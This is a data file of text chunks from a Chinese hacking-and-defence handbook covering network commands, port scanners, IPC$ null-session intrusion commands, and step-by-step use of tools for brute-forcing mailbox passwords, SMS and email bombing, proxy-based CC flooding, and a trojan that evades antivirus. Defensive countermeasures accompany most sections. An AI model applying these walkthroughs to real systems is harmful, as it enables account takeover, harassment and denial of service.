单击“Windows 枚举”标签，显示如图3-12 所示界面。 图3-12 “Windows枚举”功能界面 用户若需要知道Windows主机的信息，可以利用SuperScan的“Windows枚举”功能来获得，如图3-12所示。SuperScan可以获得从单台主机到用户群组，再到协议策略的所有信息，功能非常实用。"},
    {"text": "黑客攻防实战技术完全手册：扫描、嗅探、入侵与防御 (信息安全大系) 10.6 溯雪软件的剖析及防范 10.6.1 溯雪软件的剖析 在介绍“溯雪”猜解网上账号以及如何攻击手机前先了解一下“溯雪”的猜解及攻击原理，有助于对“溯雪”的防范。 “溯雪”是通过提取 asp、cgi 等页面表单，搜寻表单运行后的错误标志，再匹配字典文件来破解网上的密码。 其实“溯雪”就是在您指定的登录页面，按照您提供的各个字段的内容填充页面上的表单，然后提交并检测返回的内容。"},
    {"text": "双击运行“溯雪”，如图10-65所示，可以发现“溯雪”本身已经是一个功能完善的浏览器，可以用它作为浏览网站的工具，其主界面如图10-66所示。 图10-65 “溯雪”软件 图10-66 “溯雪”软件主界面 ● 步骤2。"},
    {"text": "在图 10-67 所示的界面上方的“Address”处填入欲破解密码的网页地址，例如“www.***.com”，然后按“回车”键确认，在界面的左侧就会打开相应的网页，如图10-68所示。"},
    {"text": "图10-69 提取表单界面（1） 图10-70 提取表单界面（2） 由于有的Frame页面的处理方法比较复杂，所以该版本并没有加入对Frame的自动分析和提取。 对于含有Frame的页面，需要指定含有表单的页面URL，具体方法是在页面上单击右键，选择“属性”，将地址URL一栏的内容复制到溯雪的URL地址栏，并按“回车”键，待页面出现之后即可用上述方法提取表单。"},
    {"text": "从图10-70所示的界面中可以看出，表单中的“user”、“pass”即为登录邮箱时输入账号和密码的地方，双击“user”，弹出对话框如图10-71所示。"},
    {"text": "在图10-71所示的对话框中，其中“单元常量”即以固定的字符和数字作为账号，而“使用字典”是批量猜解多数人的邮箱。 图10-71 设置账号字典 在“单元常量”处写入欲破解邮箱账号，然后单击“确认”按钮，如图10-72所示（图中标注）所示。"},
    {"text": "使用类似方法，双击“pass”表单，弹出对话框，在“使用字典”前的复选框中打勾，然后单击对话框中的“浏览”按钮，选择相应的字典文件，如图10-73和图10-74所示。 图10-72 账号字典设置成功 图10-73 设置密码字典 图10-74 选择字典文件 ● 步骤8。"},
    {"text": "在图10-76所示的界面中单击“确认”按钮后，弹出“选择标记”对话框，需要填写经过测试后抓取到的错误信息，如图10-78（图中标注）所示。"},
    {"text": "在图10-78所示的界面中，从标记中随意选择一处错误信息填入“错误标记”处即可，最后单击“确定”按钮，“溯雪”便开始依次匹配字典文件中的密码，如图10-79（图中标注部分为当前破解进度）所示。"},
    {"text": "当破解完毕后，“溯雪”会把结果直观地展示给用户，如果字典中含有目标信箱的密码，程序就会探测到，如图10-80所示。 图10-80 破解完成 双击相应的条目，“溯雪”会自动以破解的账户登录相应的邮箱，如图10-81所示。"},
    {"text": "“溯雪”工具不仅可以破解信箱或论坛等网站登录页面，还可以作为一款手机攻击软件。 2.使用“溯雪”进行手机攻击 通过上面的学习，很容易明白“溯雪”的工作原理，黑客也可以使用“溯雪”的这个原理，当做一款手机攻击器。"},
    {"text": "我们知道，可以用手机在网上进行注册，如在线电影、手机图片下载等都需要输入手机号，然后自己的手机就会收到一条含有验证码的短消息，之后再到网上进行确认，就完成了一次手机注册。"},
    {"text": "当顺利打开注册页面后，单击“导入当前的URL”按钮进行获取当前URL的表单的操作，如图10-83所示。 图10-82 打开注册页面 图10-83 导入表单 ● 步骤3。"},
    {"text": "单击“确定”按钮，“溯雪”便开始对相应的手机进行攻击，攻击的次数由步骤3中所复制的条数所决定。 图10-88 “选择标记”对话框 10.6.2 溯雪软件的防范 通过对上面知识的介绍，不难理解“溯雪”主要是利用重复提交表单，达到探测和攻击的目的，而相应的防范方法如下。"},
    {"text": "为了防止某些别有用心的人利用机器人（恶意程序）自动注册、自动登录、恶意灌水、恶意增加数据库访问、用特定程序暴力破解密码，使用验证码技术来防范重复提交是一个不错的选择。"},
    {"text": "应用验证码技术后，表单上将多出一个验证码文本框输入项，并且表单上的某个位置还显示有一个图片，该图片是由一些可由人工识别的数字和字符组成的。"},
    {"text": "黑客攻防实战技术完全手册：扫描、嗅探、入侵与防御 (信息安全大系) 11.6 小结 本书通过剖析攻击工具以及黑客工具，唤醒大家对网络安全的重视。了解了攻击原理，才能懂得如何防御，希望通过大家的努力我国的网络事业能发展得更加美好，更加和谐。"},
    {"text": "黑客攻防实战技术完全手册：扫描、嗅探、入侵与防御 (信息安全大系) 2.3 常用的网络命令 除专用的扫描器外，无论是UNIX操作系统还是Windows操作系统都内置有大量与网络有关的小工具，供用户使用，这些工具可以在命令行下直接运行，因此常称为网络命令。 2.3.1 Ping——最常用的网络命令 Ping是网络中应用最广的程序之一，无论是UNIX还是Windows系列操作系统，都内置了这一小工具。"},
    {"text": "-f ：在数据包中发送“不要分段”标志，数据包就不会被路由上的网关分段。 通常所发送的数据包都会通过路由分段再发送给对方，加上此参数以后路由就不会再分段处理。"},
    {"text": "2.3.2 Tracert——路由器跟踪命令 利用路由器对IP数据报中的生存期值每经过一台路由器作减1处理，一旦生存期值为0，就丢弃该IP数据报，并返回主机不可达的ICMP报文特点，进行路由跟踪也是黑客经常采用的命令。"},
    {"text": "针对指定的目的地址，形成一系列目的地址无法处理的IP数据报，这些数据报除生存期值递增外，其他内容完全一样。 这些数据报根据生存期的取值逐个发往网络，第一个数据报的生存期值为 1，路由器对生存期值减1后，丢弃该IP数据报，并返回主机不可达ICMP报文； 原发端继续发送生存期值为2、3、4……的数据报，由于主机和路由器中对路由信息的缓存能力，IP数据报将沿着原路径向目的地址前进。 如果整个路径中包括了N台路由器，则通过返回N个主机不可达报文和一个端口不可达报文的信息，来了解IP数据报的整个路由。"},
    {"text": "如对www.sina.com进行路由跟踪结果如下所示： tracert www.sina.com Tracing route to dorado.sina.com.cn [60.215.128.150] over a maximum of 30 hops: 1 2 ms 1 ms 1 ms 60.216.144.1 2 1 ms 1 ms 1 ms 124.128.41.217 3 7 ms 7 ms 7 ms 60.215.131.109 4 7 ms 7 ms 7 ms 218.57.243.113 5 7 ms 7 ms 7 ms 60.215.131.158 6 7 ms 7 ms 7 ms 218.57.8.222 7 7 ms 7 ms 7 ms 60.215.128.150 2.3.3 Telnet——远程登录命令 Telnet 协议的目的是提供一个相对通用的、双向的、面向八位字节的通信方法。"},
    {"text": "Telnet服务虽然也属于服务器/客户端模型，但它实现了基于Telnet协议的远程登录。 通过Telnet协议可以把自己的计算机作为远程计算机的一个终端。 通过Telnet程序登录远程Telnet计算机，一般采用授权的用户名和密码登录，登录之后，就如同使用本地计算机一样使用远程计算机的硬盘、运行应用程序等。"},
    {"text": "利用Telnet命令可以方便地探测远程主机某个端口是否开放：如telnet www.sina.com.cn 110。 因为Telnet命令为交互式命令，如果目标端口开放：则返回shell供进一步输入命令。"},
    {"text": "2.3.4 ARP——获取网络中主机地址 ARP协议在本地主机中建有一个ARP缓存，存放的是最近访问过的IP/MAC对，缓存内容一般在2～10ms内失效。 通过ARP命令可以查看本地主机中ARP缓存的内容，还可以获取网络中某些主机的MAC地址。"},
    {"text": "2.3.5 Netstat——显示网络连接情况 Netstat命令显示协议统计信息和当前TCP/IP连接情况，该命令参数较多，可结合使用。 在命令行下运行“netstat /?”，显示帮助信息如下所示。 NETSTAT [-a] [-b] [-e] [-n] [-o] [-p proto] [-r] [-s] [-v] [interval] -a 显示所有连接和监听端口。"},
    {"text": "-b 显示包含于创建每个连接或监听端口的可执行组件。 在某些情况下已知可执行组件拥有多个独立组件，并且在这种情况下包含于创建连接或监听端口的组件序列被显示。"},
    {"text": "-p proto 显示proto 指定的协议的连接； proto 可以是下列协议之一：TCP、UDP、TCPv6或UDPv6。 如果与-s选项一起使用以显示按协议统计信息，proto可以是下列协议之一；"},
    {"text": "黑客攻防实战技术完全手册：扫描、嗅探、入侵与防御 (信息安全大系) 4.4 扫描器IPtools功能强大的网络安全工具 IPtools 是一款功能强大的网络安全工具，由外国朋友Alexander Kozlov 编写，最新版本为V2.50，可在除Windows 3.x 之外的所有版本的Windows 系统中运行。"},
    {"text": "软件具有19项功能，其中部分功能为Windows系统自带的命令行工具在图形界面下的应用，与扫描有关的功能共7项，分别是NetBIOS扫描、NB 扫描、SNMP扫描、主机名扫描、端口扫描、UDP 扫描和Ping 扫描。"},
    {"text": "IPtools 的其他功能还有本机信息查看、本地连接查看、路由跟踪、域名注册查询、邮箱账号用户信息查询、NS lookup、GET time、Telnet、HTTP源码显示、本机TCP/UDP/TCMP协议的网络监控、主机工作状态监控、trap watcher。"},
    {"text": "4.4.1 IPtools 下载安装 IPtools 可从互联网下载，下载地址为http://www. ks-soft. net/ip- tools. eng/downpage.Htm，下载后安装程序为可执行文件，直接运行即可显示如图4-48所示的安装界面。 图4-48 安装界面 安装界面上有安装目录选项，可选择是初次安装还是进行升级，由于是第一次安装，在这一步选择单击“Install”按钮，弹出如图4-49所示的对话框。"},
    {"text": "图4-50 IPtools 主界面 1.查看本机对外连接情况 单击“Connetions”按钮，可以看到当前主机对外连接的详细情况，如图4-51所示。 显示内容有连接所用协议、本地 IP 地址、本地端口、远程地址、远程端口、状态、ProcessID几个部分。 使用此项功能可以很方便地查看计算机与哪些地址在进行通信，哪些程序在监听端口，本机所开的端口也就一目了然了。 图4-51 本机对外连接情况 2.Trace命令 单击“Trace”按钮，则可以清晰地显示从用户当前IP至目标IP的路由过程，如图4-52所示。"},
    {"text": "1.NetBIOS 探测 单击“NetBIOS”按钮即可显示网络中与设定IP地址或域名有关的NetBIOS信息，输入“*”则显示本地局域网的有关信息，如果所探测计算机支持NetBIOS，则可以显示探测目标的操作系统、共享列表、用户列表、会话列表等信息。"},
    {"text": "在扫描所得到的列表中，共有 Host（IP 地址或主机名）、Status（状态）、System ID、System description、UpTime（系统开启所经过时间）、Router（是否路由器，“yes”则表示是路由器，其他则显示“no”）、Interfaces、TCP Curr/Max（TCP协议当前连接数和最大连接数）、Community（Community 字符串）几项。"},
    {"text": "图4-56 SNMP 探测 4.计算机名搜索 填入要搜索的 IP 地址范围，单击“Name Scanner”按钮，可以得到网络中计算机的 IP地址和主机名列表，图4-57即为搜索某IP地址段所得到的结果。 图4-57 计算机名搜索 扫描所得到的列表被一个冒号（：）分隔成了前后两部分，前面部分显示所扫描到的 IP地址，后面部分即为相应的计算机名；"},
    {"text": "5.端口扫描 端口扫描是黑客所用的大多数扫描器普遍具有的一项功能，IPtools 自然也不例外。 IPtools 的端口扫描功能非常强大，设置好后，就可以对设定端口进行扫描。"},
    {"text": "图4-58 端口扫描 6.UDP扫描 UDP 相对于 TCP 来说，一直不受重视，即使管理员在网络安全检查时，也经常忽略对UDP端口的检查，正因为如此，UDP木马逐渐流行起来。 入侵者对目标进行UDP端口探测，可以得到很多有用信息及可用漏洞。 IPtools拥有一项多数黑客所用扫描器不具有的功能，可以对远程主机的 UDP 服务进行扫描，其默认设置对 Echo、Daytime、DNS、TFTP、SNMP等11项服务进行扫描，如图4-59所示。 图4-59 UDP 扫描 7.Ping扫描 Ping 扫描也叫主机发现扫描，如果对较大的 IP 地址段进行主机存活判断，一个一个用Ping命令进行探测，速度太慢且麻烦，这时可用Ping扫描，如图4-60所示。"},
    {"text": "黑客攻防实战技术完全手册：扫描、嗅探、入侵与防御 (信息安全大系) 2.4 常用的扫描器 扫描器主要用来收集主机或网络设备的有关信息，完整的扫描还将收集到的信息进行分析，帮助查找目标存在的漏洞。因此，仅具有主机发现功能的扫描器用处不大，黑客经常使用的扫描器为端口扫描器和多功能漏洞扫描器。 衡量端口扫描器性能最主要的标准是扫描速度和扫描结果准确。自Windows XP发布SP2之后，多数主机都安装了防火墙，如何通过防火墙准确地探测主机端口，成为端口扫描器急需解决的问题。 衡量漏洞扫描器的标准是漏洞库的大小及更新是否及时。漏洞库的大小决定了是否能最大限度地发现目标存在的问题；而更新是否及时决定了黑客和安全防护人人是否能够在漏洞公布的第一时间进行有效的漏洞利用。 最著名的端口扫描器为Nmap和Superscan，而最著名的多功能扫描器产品则是在全球领先的安全公司生产的基于主机或网络的各种扫描器，其中包括 Nessus、ISS 公司的基于主机的扫描器System Scanner和基于网络的扫描器Internet Scanner。基于网络的扫描器产品还有AXENT 公司的NetRecon、NAI 公司的CyberCops Scanner、Cisco 的NetSonar 等。其中ISS的两款扫描器和AXENT、NAI、Cisco等安全公司的扫描器都是价格昂贵的安全产品，不能免费获得。 最早出现的扫描器多数需在UNIX操作系统下使用，如TCP扫描器等。20世纪90年代后期，随着Windows操作系统的普及，Windows操作系统下使用的扫描器越来越多，而近些年来获得较大发展的UNIX系统下的扫描器，也大多发布了Windows版本。对于黑客而言，最好能使用UNIX系统，因为多数黑客还只是处于入门阶级，仅对Windows操作系统有所了解；对于网络管理员而言，也大多是仅对Windows操作系统较为熟悉。 黑客攻防实战技术完全手册：扫描、嗅探、入侵与防御 (信息安全大系) 10.7 小结 本章由浅入深，从简单的使用工具入侵网站到基于Web页面的攻击，以及大型的“溯雪”软件的介绍，为读者揭开了黑客攻击的神秘面纱。本章前面所提到的“如何入侵网站”、“如何攻击网站”谜团至此已经完全解开了，读者了解了这些原理后可以有真对性的加以防范。"},
    {"text": "黑客攻防实战技术完全手册：扫描、嗅探、入侵与防御 (信息安全大系) 5.1 漏洞扫描器 自IPC漏洞被发现以后，IPC入侵方式得到黑客的充分重视，利用IPC进行攻击在几年间已成为网络入侵的主要方式。 网络安全发展到今天，在多数主机安装防火墙的情况下，利用IPC漏洞进行攻击，成功的可能已经大为减小，但在内网，利用IPC进行渗透仍然是一种非常有效的方式。 5.1.1 漏洞扫描器介绍 IPC漏洞扫描器由网名“老实和尚”的网友编写，可在网络中搜索下载，多数黑客网站均提供这款工具。 IPC漏洞扫描器是一款相当傻瓜化的扫描工具，可对网络中存在IPC漏洞的主机进行扫描，同时可利用字典对弱口令进行猜解，对于存在漏洞的主机，可同步植入木马。 运行IPC漏洞扫描器，弹出如图5-1所示的对话框。 IPC漏洞扫描器的使用非常简单，在“IP”选项的“开始”和“结束”编辑框中，分别填入待扫描的开始IP地址和结束IP地址；"},
    {"text": "在木马文件名编辑框中填入木马目录，或利用“浏览”按钮进行木马选择，同时选择“同步植入”复选框，单击“开始”按钮即可开始扫描。 如果没有木马可供使用，则可不选择“同步植入”复选框，也不必输入木马名字。"},
    {"text": "图5-1 IPC 漏洞扫描器对话框 扫描器默认采用40个线程进行探测，扫描进度显示在“扫描”栏中，扫描过程中可显示扫描IP地址和完成IP地址以及在用的线程数。"},
    {"text": "5.1.2 漏洞扫描器工作原理 1.IPC漏洞的概念 IPC$（Internet Process Connection）是共享“命名管道”的资源，是为了让进程间通信而开放的，通过提供可信任的用户名和口令，连接双方可以建立安全的通道并以此通道进行加密数据的传输，从而实现对远程计算机的访问。 IPC 漏洞并非真正意义上的漏洞，而是微软为方便用户应用而设计的功能，如果用户不想使用此项功能，可以通过禁止此项功能来关闭所谓的“漏洞”。"},
    {"text": "用DOS命令可关闭共享： ● 删除IPC 共享 net share ipc$ /del。 ● 删除admin 默认共享 net share admin$ /del。 ● 删除C 逻辑盘共享 net share c$ /del。 ● 删除其他盘符共享，将删除C 盘共享中的C$换成相应盘符即可。 用上述方法关闭共享，在系统重启时，共享会同时重新开启。 如想永久关闭共享，可采用将上述DOS命令写为批处理文件，放到系统启动组，每次开机自动删除共享的方法。 另外，可通过禁止“server”服务的方式，关闭共享，以保一劳永逸。"},
    {"text": "LSA 为空会话提供令牌，该令牌SID 为 S-1-5-7，该SID 对应的用户名是ANONYMOUS LOGON ，该用户可在安全策略的限制下，以Everyone和Network组的权限访问这两个组可访问的一切信息。"},
    {"text": "由于空会话可以列举目标主机上的用户和共享，这就为 IPC 入侵提供了首要条件，结合得到的用户列表，利用弱口令扫描工具进行猜解，大幅度增加了猜解的成功率。"},
    {"text": "这也是 IPC 扫描器的工作原理，与手动IPC入侵不同的是，IPC漏洞扫描器同时提供了对用户进行穷尽的功能，但笔者建议一般不要对用户名进行猜解，如果用户名不是administrator或admin这些常见用户，猜解的成功率会很低。 5.1.3 通过命令行实现IPC 漏洞入侵 利用IPC进行入侵，除利用漏洞扫描器，同步植入木马外，还可通过命令行进行入侵，主要步骤如下。 （1）要实现IPC入侵，首先测试是否开放IPC$，可使用如下命令。 net use \\\\ip\\ipc$ \"\" /user:\"\" （2）在建立了空连接后，查看目标主机共享资源，可使用如下命令。 net view \\\\IP （3）建立空连接后，查看远程主机的NetBIOS 用户名列表（需要打开自己的 NBT ）。"},
    {"text": "当我们获得一个不依赖于IPC$的shell时，如sql的CMD扩展、Telnet用户权限等，如果shell是管理员权限，则可以通过在对方主机开启IPC$，利用前面所介绍的方法进行入侵。"},
    {"text": "黑客攻防实战技术完全手册：扫描、嗅探、入侵与防御 (信息安全大系) 11.5 下载者木马的剖析及防范 11.5.1 下载者木马简介 概念剖析：什么是下载者木马？ 通过前几章的学习，可以知道功能越多的木马，体积普遍都很大，如灰鸽子的服务端有700多KB，如图11-73所示。 图11-73 灰鸽子服务端属性 试想一下，如果黑客通过网页挂马的方式散布木马，700多KB的体积是很容易失败的，因为体积大，传输的速度相对比较慢，是很不实惠的做法。而“下载者”的体积只有几KB大小，“下载者”木马的功能可以比做一个中介，它会根据黑客预先的设定去偷偷下载网络上的实际木马或者插件，然后运行之。 “下载者”木马也可以比为藏在合法用户计算机中的“卧底”，不容易被发现，而且破坏力巨大。 其功能说明如下： ● 下载文件，下载地址列表文件后台无限添加； ● 多线程遍历硬盘网页文件，插入自定义代码； ● 智能清除硬盘内的黄色录像及图片，很大程度上绿化了Internet“洁净的天空”； ● 突破国内使用率极高的数种杀毒软件的主动防御功能； ● 非循环式精准U 盘感染“减小程序所占系统资源”，突破U盘免疫功能； ● 最小资源模式下反查杀； ● 屏蔽任务管理器以及注册表等敏感程序； ● 使用冰刃等工具无法结束程序进程； ● 多种方式突破类似360安全卫士等国内用户量大使用的安全防护软件； ● 阻止用户进入安全模式进行查杀； ● 禁止系统显示隐藏文件，很大程度上保护了病毒体在系统中的驻留时间； ● 可自定义ARP 欺骗攻击； ● 可多线程硬盘EXE 文件感染，图标不失真且不影响正常程序运行； ● 可添加劫持功能，可劫持目前市面上90%的安全软件以及系统自带的诊断程序。 11.5.2 反黄下载者木马的防范 由于此木马已经停止了任何更新，随着杀毒软件病毒库的升级，防范此类木马的最好方法就是安装杀毒软件，即可获得很好地查杀效果。 ● 步骤1。 生成“反黄下载者”木马，如图11-74所示，并运行。 ● 步骤2。 在木马程序上单击鼠标右键，如图11-75所示。 图11-74 生成木马 图11-75 扫描病毒 ● 步骤3。 选择使用卡巴斯基“扫描病毒”，杀毒结果如图11-76和图11-77所示。 图11-76 扫描结果（1） 图11-77 扫描结果（2） ● 步骤4。 在图11-76所示的窗口中，把检测到病毒通过单击“清除所有”，即可将此木马查杀，如图11-78所示。 图11-78 清除木马"},
    {"text": "黑客攻防实战技术完全手册：扫描、嗅探、入侵与防御 (信息安全大系) 11.4 后门邮箱炸弹的剖析及防范 11.4.1 邮箱炸弹简介 “邮件炸弹”的原理是向有限容量的信箱投入足够多或者足够大的邮件，使邮箱崩溃。这类炸弹很多，例如Nimingxin、Quickfyre、Amail、Emailbomb、Upyours系列、雪崩等，它们都能发送匿名邮件，连续发送邮件。炸弹的使用也很简单，与平时书写邮件相同。 “轰炸熊1.0”是一款用Delphi编写的邮件攻击软件，可以对目标信箱发送大量的垃圾邮件，以妨碍对方的正常邮件接收。工具小巧简单，适合各种人群的使用。此软件无需安装，直接运行即可，下面将为读者介绍其详细使用方法。 11.4.2 攻击工具的剖析 ● 步骤1。 双击直接运行“轰炸熊1.0”主程序，如图1-59所示，其主界面如图11-60所示。 ● 步骤2。 在图 11-60 所示的界面中，“SMTP 服务器”处填写邮件服务器的 STMP 的地址，例如“smtp.126.com”，在“统一密码”处填写发送邮箱的信箱密码。 ● 步骤3。 把发送垃圾信件的邮箱列表添加到程序中。首先创建一个文本文件，文件中每一行内容为攻击目标的邮箱用户名，如图 11-61 所示，然后在图 11-62 所示的界面中单击“打开”按钮，弹出“打开”对话框，选择信箱列表文件，然后单击“导入”按钮导入刚才所创建的文件，如图11-63所示。 图11-59 “轰炸熊”主程序 图11-60 “轰炸熊”主界面 图11-61 信箱列表 图11-62 “打开”对话框 ● 步骤4。 确认上述操作无误后，在图 11-63 所示界面中“轰炸目标”处填写欲攻击信箱的地址，然后单击“轰炸开始”按钮，开始攻击，如图11-64所示。 图11-63 添加成功 图11-64 开始攻击 ● 步骤5。 如果弹出了如图 11-64 所示对话框，证明攻击开始了，不久之后目标的信箱就会收到大量的垃圾信件，效果如图11-65所示。 图11-65 攻击成功 11.4.3 邮箱炸弹轰炸熊的防范 防范邮箱炸弹的方法就像设置垃圾邮件过滤器一样，在邮件软件中或邮件服务器上设置防范措施。 1.在“Outlook Express”中防范 ● 步骤1。 依次单击“工具”菜单→“邮件规则”→“邮件”，如图11-66所示，弹出“向导”对话框，如图11-67所示。 图11-66 选择向导 图11-67 打开向导 ● 步骤2。 在图 11-67 所示的“向导”对话框中单击“新建”按钮，弹出规则向导，如图 11-68 所示。在检测条件中选中“大小在特定范围内”，在规则描述中选择“特定范围内”，将弹出一个设置框，设置邮件大小至少为0，最大为2 024KB，如图11-69 所示。然后单击“下一步”按钮，在如何处理栏选择“永久删除该邮件”，然后为该规则取名，最后单击“完成”按钮完成设置。于是只要是大于2MB的邮件，就会被删除。 图11-68 新建向导 图11-69 选择大小 2.在线邮件服务器中防范 当收到“邮箱炸弹”后，首先打开一封炸弹E-mail，记下发信人的地址，然后登录邮件服务器，进入“邮箱配置”，设置“拒收过滤器”，把发炸弹人的地址输入到黑名单中，一旦收到这些人的信，就会自动在服务器上删除。设置“收件过滤器”，一旦邮件超过一定大小，也会在服务器上删除。 例如，在126邮箱中的设置步骤如下。 ● 步骤1。 打开126在线邮箱服务，如图11-70所示。 图11-70 打开在线邮箱 ● 步骤2。 进入收件箱，打开垃圾邮件或者炸弹邮件，如图11-71所示，并单击发件人地址后面的“拒收”链接，弹出如图11-72所示的提示，并单击“确定”按钮即可永久拒绝来自同一地址的邮件。 通过以上步骤即可在线拒绝垃圾邮件或者炸弹邮件。 其实在某些情况下，邮箱炸弹的出现是非常偶然的，例如现在许多邮件服务器都有“自动回信”功能，一旦对方发来一封信而您没有及时收取，邮件服务系统就会按您事先的设定自动给发信人回复一封确认信，如果发信人也使用自动回信功能，就会再次发给您一封确认信，于是这种自动回复的邮件重复发送，直到把双方的邮箱炸了为止。所以要小心使用“自动回信”功能。通常情况下，请不要在网上到处粘贴自己的邮箱地址，特别是ISP给您的邮箱，因为这种邮箱撑破后是要交费的。如果收到E-mail炸弹的攻击，您可能要为此破费几百元到上千元！申请几个免费邮箱，免费邮箱不怕炸；不要向别人发送垃圾邮件，在聊天室或论坛上不要树敌，以免招致对方E-mail炸弹的报复。 图11-71 打开炸弹邮件 图11-72 选择“拒收”项"},
    {"text": "黑客攻防实战技术完全手册：扫描、嗅探、入侵与防御 (信息安全大系) 3.4 可视化+cmd S扫描器——方便易用的扫描器 S扫描器是FST的天涯浪客网友所写，据称该软件是网名为天涯浪客的网友学编程所写的第二个软件，并不是很完善，但这个软件在网上流传较广，使用较为方便，采用的技术也较为单一，能确保扫描结果准确，这对于初涉安全的用户已经足够了。网上已有大量以S扫描器为模板进行界面优化的扫描器出现。 S扫描器可在Internet上搜索下载，无需安装，解压后即可运行。S扫描器有图形界面和cmd两个不同版本，可对设定的IP地址进行端口扫描，端口可以自行设置。 3.4.1 可视化S 扫描器 运行GUI版S扫描器，弹出如图3-21所示的主界面。 ● 步骤1 IP 地址设置。 在图3-21所示的界面中，在起始IP和结束IP对应文本框中填入相应IP地址。 ● 步骤2 端口设置。 单击“端口设置”按钮，弹出如图3-22所示的对话框。 在图 3-22 下面的编辑框中输入待扫描的端口范围，单击“确定”按钮，即返回图 3-21所示的主界面。需要注意的是这一部分程序编写有点 bug，如果不输入端口，单击“取消”按钮，则会显示错误提示。 ● 步骤3 选择WINXP SP2。 在图 3-21 所示界面中，有一“WINXP SP2”选择项，默认为不选择。当前用户多数为Windows XP SP2，用户可根据自己的情况进行选择。 设置扫描端口后，就可以单击“开始扫描结果”按钮进行扫描，扫描同时以700个线程进行，速度较快。 图3-21 GUI版S扫描器主界面 图3-22 “端口设置”对话框 以图形界面方式进行扫描实际上是首先生成一个名为IP.bat的批处理文件，再调用cmd版本的S 扫描器进行扫描。以对127.0.0.1 的1～65 535 端口扫描为例，生成的批处理文件内容为： s.exe tcp 127.0.0.1 127.0.0.1 1-65535 700 /save 扫描结果保存在同一目录下的result.txt文件中，对扫描结果的文件存储方式为“追加”。单击“关于作者”按钮，弹出如图3-23所示的对话框。 图3-23 几个小工具的快捷方式 利用该对话框，天涯浪客设计了3个按钮，可以调用Windows的注册表、cmd、远程桌面连接3个常用程序。 3.4.2 cmd S 扫描器 在Windows命令提示符下直接运行cmd版S扫描器，显示结果为cmd版S扫描器的参数使用说明和使用实例，如图3-24所示。 图3-24 cmd 版S扫描器用法 由图3-24可知，cmd版的S扫描器使用非常简单，只要按说明设置好参数即可，参数使用可按下列过程进行。 ● 首先选择扫描器扫描方式，扫描方式有TCP、SYN 两种，可任选一种。 ● 选择待扫描的开始IP 地址和结束IP 地址，如果只扫描一个地址，则不对结束IP 地址进行设置。 ● 设置待扫描的端口，可以是端口范围，也可以是多个端口并列，扫描多个端口时，端口之间用“，”隔开。 ● 设置调用线程数，默认调用1 个线程。 ● 设置是否进行banner扫描，即是否抓取端口旗标，默认不进行抓取。 ● 对是否进行保存进行设置，默认结果不进行保存。"},
    {"text": "黑客攻防实战技术完全手册：扫描、嗅探、入侵与防御 (信息安全大系) 10.3 CC攻击小助手的剖析及防范 10.3.1 CC 攻击小助手简介 “CC攻击小助手”是一款使用率比较高的针对Web攻击的软件，下面首先介绍这款攻击软件的基本原理。"},
    {"text": "一个静态页面不需要消耗服务器多少资源，甚至可以直接从内存中读取数据发给用户就可以了（前面的章节为大家介绍过动态网站和静态网站的区别）。"},
    {"text": "但是，论坛就不同了（因为论坛是动态的网站，需要频繁的读取数据库中的信息），例如当用户在论坛中查看一个帖子时，系统需要到数据库中判断该用户是否有读帖的权限，如果拥有此权限，就将帖子中的内容显示出来，此时至少访问了两次数据库；"},
    {"text": "如果是查找一个关键字，那么搜索的时间将会更长，因为前面的搜索可以限定在一个很小的范围内，比如用户权限只查用户表，帖子内容只查帖子表，而且查到后就可以马上停止查询，而搜索关键字肯定会对所有的数据进行一次判断，这样消耗的时间是相当长的。"},
    {"text": "“CC”攻击就是充分利用了这个特点，模拟多个用户(多少线程就是多少用户)不停地进行访问(访问那些需要大量数据操作，需要大量CPU 时间的页面)。"},
    {"text": "一种解决方案是使用代理，因为代理可以有效地隐藏自己的身份，也可以绕开所有的防火墙（通常，防火墙都会检测并发的 TCP/IP 连接数目，超过一定数目、一定频率就会被认为是“Connection-Flood”）。"},
    {"text": "使用代理攻击还能很好地保持连接，一旦发送了数据，代理会将这些数据转发给对方服务器，发送方就可以马上断开连接，代理还会继续保持和对方的连接。"},
    {"text": "也就是说，该服务器可以保证100个用户的Search请求，服务器允许的最大连接时间为60s，那么我们使用“CC攻击器”模拟120 个用户并发连接，那么经过1min 后，服务器则被请求了7 200 次，处理了6 000 次，于是剩下了1 200个并发连接没有被处理。"},
    {"text": "由于服务器是按先来后到的顺序丢弃连接的，这 1 200个并发连接是在最后10s的时候发起的，经过计算，服务器满负开始丢弃连接的时候，应该有7 200个并发连接存在队列中，然后服务器开始120个/s的丢连接，我们发动的连接也是120个/s，服务器将永远有处理不完的连接，而且服务器的CPU利用率长时间保持100%，丢弃连接的60s服务器也无法判断处理，新的连接也无法处理，这样服务器达到了超级繁忙状态。"},
    {"text": "10.3.2 CC 攻击小助手的剖析 通过上面的学习，我们知道“CC 攻击”实际上是使用代理，模拟大量的合法用户不停地访问一个黑客所指定的网站页面，成功与否的条件取决于代理的数量。"},
    {"text": "选择“①号线”，并单击“获取代理”按钮，程序会自动获取最新的代理资源，并在下方的列表框中显示，如图10-31（画圈部分）、图10-32（画圈部分）和图10-33（画圈部分）所示。 图10-29 “CC 攻击小助手”主程序界面 图10-30 “CC 攻击小助手”主界面 图10-31 选择①号线 图10-32 获取代理中 ● 步骤3。 从图10-33所示的界面中可以看出工具自动获取了大量的代理资源，如果这些代理资源不足够多，可以继续选择其他线路依次获取，然后把获取的代理资源列表导出。 在图10-32所示的界面中单击“导出保存”按钮，如图10-34所示，保存代理资源成功后，在相应的文件夹中就会创建一个文本文件，里面罗列了刚才获取的代理资源，如图10-35所示。"},
    {"text": "以上都确认无误后接着打开CC攻击器，单击“打开CC”按钮，如图10-36和图10-37所示。 图10-34 保存列表 图10-35 代理文件 图10-36 单击按钮 图10-37 打开CC 攻击器 从图10-37中可以看出，黑客在攻击之前，需要先对“CC攻击器”做一些设置。"},
    {"text": "在AttackList列表中的网站都可以使用由程序自动生成随机字符，“+”表示随机字符标志+{N|U|L|C}+x ，其中N表示数字，U表示大写字母，L表示小写字母，C表示一个汉字，x是长度，规定为1～9。 举个例子：A+N1+U2+L3+C1BCD将可能生成A3BBcde%BA%CEBCD这样一个随机串，AttackList中的添加规则{G|P}http://www.hacksa:80/page.asp?id=+N3;name=+C3 ，其中G表示Get 模式，P 表示 POST 模式，软件能够自己分辨出参数和 HOST 选项，等等。"},
